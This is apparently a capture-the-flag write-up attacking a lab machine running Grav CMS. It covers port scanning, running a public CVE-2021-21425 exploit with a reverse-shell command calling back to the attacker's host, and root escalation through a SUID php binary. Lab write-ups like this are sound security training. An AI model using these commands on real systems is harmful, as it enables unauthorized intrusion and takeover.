# CTF1

## Recon (Enumeration)

### Nmap

<img src="https://3782874468-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMIrXd5DOkisCnhbTwXRy%2Fuploads%2FDRNhA8iUiSfGCZZdRHuq%2Fimage.png?alt=media&#x26;token=22c1860e-3f49-4bcb-9632-a415d3875fc7" alt="" data-size="original">

`nmap --min-rate 3000 -p- 192.168.115.12 -Pn -sV -sC`

We Find only two ports open.

#### Port 80 (HTTP)

<img src="https://3782874468-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMIrXd5DOkisCnhbTwXRy%2Fuploads%2Fr5a6o35gzHSJjlzqIKZe%2Fimage.png?alt=media&#x26;token=09a5e9a2-2eda-48a5-a015-c19c6e8a825c" alt="" data-size="original">

Seems to have a folder exposed to us.

![](https://3782874468-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMIrXd5DOkisCnhbTwXRy%2Fuploads%2FOHG0MbUE5PB1ZbSd7sq3%2Fimage.png?alt=media\&token=867182cf-d21e-41b5-bf69-d212ec3fb138)

It seems like some sort of CMS, though I have no idea what this is.

Lets see if we can find a version number and see if there are any RCE's associated with "Grav".

While doing some research I came across the folowing article which leads me to /admin.

{% embed url="<https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/>" %}

Based on that article I was able to seemingly replicate the POC of the RCE

![](https://3782874468-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMIrXd5DOkisCnhbTwXRy%2Fuploads%2FQQraV9uFf0tQeUlCLyRd%2Fimage.png?alt=media\&token=3e4e6d7d-29e8-49f7-8384-f3bc81873dbd)

As a reminder the admin nonce is a hidden field in the form.

So given a 200, i suppose this CMS is vulnerable.

After doing a little bit more research, I found a POC online: <https://github.com/CsEnox/CVE-2021-21425/blob/main/exploit.py>

After a little bit of fiddling around I ran the following command. For the Ub3r Lazy : <https://www.revshells.com/>

```
python3 exploit.py -c "sh -i >& /dev/tcp/192.168.49.115/12345 0>&1" -t http://192.168.115.12/grav-admin 
```

<img src="https://3782874468-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMIrXd5DOkisCnhbTwXRy%2Fuploads%2FFAdqfzzHlCv3s1AMRnSl%2Fimage.png?alt=media&#x26;token=6724c7e3-9997-42d7-adb0-2bd6497fc966" alt="" data-size="original">

and...

We have a Shell!

![](https://3782874468-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMIrXd5DOkisCnhbTwXRy%2Fuploads%2Fe1p5POnlcw3C7nKCWihb%2Fimage.png?alt=media\&token=407a88be-2e3e-4ecb-9122-769862e0fae7)

After running linpeas we find a few interesting pieces of information

![](https://3782874468-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMIrXd5DOkisCnhbTwXRy%2Fuploads%2FHKJL3VuWMDDCOflhzU77%2Fimage.png?alt=media\&token=6d99efed-b6ba-44f6-826d-87220b8e9a9a)

I attempted to priv esc with cron jobs but no luck.

After more recon I discovered a password hash

![](https://3782874468-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMIrXd5DOkisCnhbTwXRy%2Fuploads%2Fu8lq5jgMimeiTh3MyWuK%2Fimage.png?alt=media\&token=1672816f-dc51-4450-813b-7c50cf2d7fd3)

After spending many hours trying to crack this hash it was pointless.

### Privillege Escalation

For some reason I circled back and decided to look for SUID binaries manually, because why not?

So here is my frustration:

ALWAYS CHECK SUID BINARIES MANUALLY.

ALWAYS.

ALWAYS.

ALWAYS.

IDC WHAT YOU SAY. MANUAL.

FML

Anyway here is a link to that:

{% embed url="<https://blog.creekorful.org/2020/09/setuid-privilege-escalation/#finding-vulnerable-executables>" %}

![](https://3782874468-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMIrXd5DOkisCnhbTwXRy%2Fuploads%2F0TEinYs1LMY5pxlYSnwp%2Fimage.png?alt=media\&token=c509ffeb-cf19-49a7-a131-fca0dfe35142)

We notice that `/usr/bin/php7.4` this stands out

We find where the binary is: `/usr/bin/`

And based on GTFOBins we can just run `./php -r "pcntl_exec('/bin/sh', ['-p']);"`

im still kind of mad... Linpeas didnt pick it up.

![](https://3782874468-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMIrXd5DOkisCnhbTwXRy%2Fuploads%2FNc6H4IUTXNkZU7TeaMNg%2Fimage.png?alt=media\&token=21fcd97c-e72f-4a95-b6c5-54a06f410a80)